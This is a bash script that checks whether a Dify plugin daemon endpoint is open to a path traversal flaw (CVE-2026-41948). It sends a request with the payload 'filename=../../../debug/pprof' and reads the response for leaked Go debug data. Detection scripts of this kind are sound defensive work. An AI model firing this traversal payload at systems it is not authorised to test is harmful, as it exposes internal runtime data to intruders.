Dify Plugin Daemon Path Traversal via Unsanitized Filename Parameter

#!/usr/bin/env bash
# CVE-2026-41948 Dify Plugin Daemon Path Traversal Check
# Tests whether the /console/api/workspaces/current/plugin/icon endpoint
# is vulnerable to path traversal via the filename parameter.
# Usage: ./check_cve_2026_41948.sh <DIFY_BASE_URL>
# Exit codes: 0 = VULNERABLE, 1 = PATCHED, 2 = UNKNOWN

set -euo pipefail

if [ $# -lt 1 ]; then
  echo "Usage: $0 <DIFY_BASE_URL>"
  echo "Example: $0 https://dify.example.com"
  exit 2
fi

BASE_URL="${1%/}"
TEST_PATH="/console/api/workspaces/current/plugin/icon"
# Use a dummy tenant_id and traverse to debug/pprof
PAYLOAD="?tenant_id=00000000-0000-0000-0000-000000000000&filename=../../../debug/pprof"
FULL_URL="${BASE_URL}${TEST_PATH}${PAYLOAD}"

echo "[*] Testing CVE-2026-41948 against: ${BASE_URL}"
echo "[*] Request: GET ${TEST_PATH}${PAYLOAD}"

HTTP_CODE=$(curl -sk -o /tmp/cve_2026_41948_resp.txt -w '%{http_code}' \
  --max-time 10 \
  "${FULL_URL}" 2>/dev/null) || {
  echo "[!] Connection failed. Verify the URL is reachable."
  echo "UNKNOWN"
  exit 2
}

RESP_BODY=$(cat /tmp/cve_2026_41948_resp.txt 2>/dev/null || echo "")
rm -f /tmp/cve_2026_41948_resp.txt

echo "[*] HTTP Response Code: ${HTTP_CODE}"

# Check for pprof indicators in response (Go runtime debug output)
if echo "${RESP_BODY}" | grep -qiE '(goroutine|heap|allocs|block|mutex|profile|pprof|cmdline|trace)'; then
  echo "[!] VULNERABLE — path traversal reached internal debug/pprof endpoint."
  echo "[!] Response contains Go pprof debug data."
  echo "VULNERABLE"
  exit 0
fi

# Check for other indicators of successful traversal
if [ "${HTTP_CODE}" = "200" ] && echo "${RESP_BODY}" | grep -qiE '(plugin|daemon|tenant|internal|debug)'; then
  echo "[!] VULNERABLE — path traversal returned internal API data."
  echo "VULNERABLE"
  exit 0
fi

# Check for explicit path traversal rejection (patched behavior)
if echo "${RESP_BODY}" | grep -qiE '(path.traversal|invalid.path|forbidden|rejected|blocked)'; then
  echo "[+] PATCHED — server rejected the path traversal attempt."
  echo "PATCHED"
  exit 1
fi

# 400/403/404 without traversal content likely means patched or not applicable
if [[ "${HTTP_CODE}" =~ ^(400|403|404|422)$ ]]; then
  echo "[+] PATCHED — server returned ${HTTP_CODE} without internal data leakage."
  echo "PATCHED"
  exit 1
fi

# 401 means auth required before reaching the endpoint
if [ "${HTTP_CODE}" = "401" ]; then
  echo "[?] Authentication required. Test with a valid session token:"
  echo "    curl -H 'Authorization: Bearer <TOKEN>' '${FULL_URL}'"
  echo "UNKNOWN"
  exit 2
fi

echo "[?] Inconclusive. HTTP ${HTTP_CODE}. Manual review recommended."
echo "UNKNOWN"
exit 2